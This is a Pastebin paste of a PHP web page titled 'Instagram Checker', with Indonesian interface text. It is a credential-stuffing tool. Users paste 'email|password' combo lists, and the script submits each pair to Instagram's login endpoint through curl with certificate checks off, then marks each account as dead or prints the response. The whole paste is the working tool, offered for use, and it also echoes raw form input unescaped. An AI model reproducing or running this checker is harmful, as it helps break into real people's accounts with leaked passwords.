Advertisement
Guest User

ceker

a guest
Mar 23rd, 2017
677
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.07 KB | None | 0 0
  1.  
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  5.  
  6. <!-- Bootstrap Start -->
  7. <link rel="stylesheet" href="http://themes.suggelab.com/dynamic/css/bootstrap.css">
  8. <link rel="stylesheet" href="http://themes.suggelab.com/dynamic/css/main.css">
  9. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  10. <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js"></script>
  11.  
  12. <title>Instagram Checker </title>
  13. <style>
  14. body {
  15. padding-top: 60px;
  16. }
  17. </style>
  18. </head>
  19. <body>
  20. <div class="container">
  21. <center>MAX 100 BIAR GAK 500 INTERNAL ERROR</CENTER>
  22. <div class="panel panel-primary panelMove toggle panelRefresh panelClose">
  23.                                     <!-- Start .panel -->
  24.                                     <div class="panel-heading">
  25.                                         <h4 class="panel-title">Instagram account Checker</h4>
  26.                                     </div>
  27.                                     <div class="panel-body">
  28. <form action="" method="POST">
  29. <textarea style="background:rgba(0,225,0,00);" name="mailpass" id="mailpass" style="width: 441px; height: 187px;" class="form-control" rows="7" placeholder="your@email.com|passW0rd"><?php
  30. if (isset($_POST['mailpass'])) {
  31.     echo $_POST['mailpass'];
  32. }
  33. ?></textarea><br />
  34. <input type="text" style="width: 37px; height: 25px;" class="form-control" rows="7" name="delim" value="|">
  35. <button id=start value="WOOT" name="submit" class="btn btn-success">Check</button>    <button id=stop value="WOOT" class="btn btn-success">Stop</button><br><br>
  36. <?php
  37. if(isset($_POST['submit'])){
  38. $delim = $_POST['delim'];
  39. function search($line, $delim)
  40. {
  41.     $line = str_replace(" ", "", $line);
  42.     $line = explode($delim, $line);
  43.     $i    = 0;
  44.     while ($i < count($line)) {
  45.         if (strpos($line[$i], '@') && strpos($line[$i], '.')) {
  46.             $mail = $line[$i];
  47.             $pass = $line[$i + 1];
  48.             $i    = 10000;
  49.             if ($pass == "") {
  50.                 $pass = $line[$i - 1];
  51.             }
  52.         }
  53.         $i++;
  54.     }
  55.     $line = $mail . "|" . $pass;
  56.     $line = explode('|', $line);
  57.     return $line;
  58. }
  59. $data = $_POST['mailpass'];
  60. $extract = explode("\r\n", $data);
  61. $i = 0;
  62.     foreach ($extract AS $k => $line) {
  63.         $i++;
  64.         if (strpos($line, '=>') !== false) {
  65.             $line = str_replace('=>', '|', $line);
  66.         }
  67.         if (strpos($line, ']') !== false) {
  68.             $line = str_replace('=>', '|', $line);
  69.         }
  70.         if (strpos($line, '[') !== false) {
  71.             $line = str_replace('=>', '|', $line);
  72.         }
  73.  
  74.         $info = search(trim($line), $delim);
  75.         $email = trim($info[0]);
  76.         $email = explode("@",trim($info[0]));
  77.         $user = $email[0];
  78.         $pass   = $info[1];
  79.  
  80. $dir                   = dirname(__FILE__);
  81. $config = $dir . '/_cook/' .rand(1,999999999999999). '.txt';
  82. if (!file_exists($config)) {
  83.     $fp = @fopen($config, 'w');
  84.     @fclose($fp);
  85. }
  86.  
  87. $cookie = 'cookie.txt';
  88. $ch = curl_init('https://www.instagram.com/accounts/login/ajax/');
  89. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  90. curl_setopt($ch,CURLOPT_POST,1);
  91.         curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
  92.         curl_setopt($ch,CURLOPT_POST,TRUE);
  93.         curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
  94.         curl_setopt($ch,CURLOPT_COOKIEFILE, $config);
  95.         curl_setopt($ch,CURLOPT_COOKIEJAR, $config);
  96.         curl_setopt($ch,CURLOPT_POSTFIELDS,'username='.$user.'&password='.$pass);
  97.         curl_Setopt($ch,CURLOPT_CUSTOMREQUEST,('username='.$user.'&password='.$pass)?"POST":"GET");
  98. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  99. $result = curl_exec($ch);
  100. $now = "<i style=\"color:blue\">Checked on Localhost at ".date("g:i a - F j, Y")."</i>";
  101. if(empty($result)){
  102. echo "<font color=gray><b>Kesalahan Username \/ Password</b></font> => ".$user."|".$pass." | ".$now."<br/>";
  103. }elseif(preg_match('/salah/i',$result)){
  104. echo "<font color=red><b>Die</b></font> => ".$user."|".$pass." | ".$now."<br/>";
  105. }Else{
  106.  print_r($result); }
  107.  
  108. }
  109. }
  110.  
  111. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement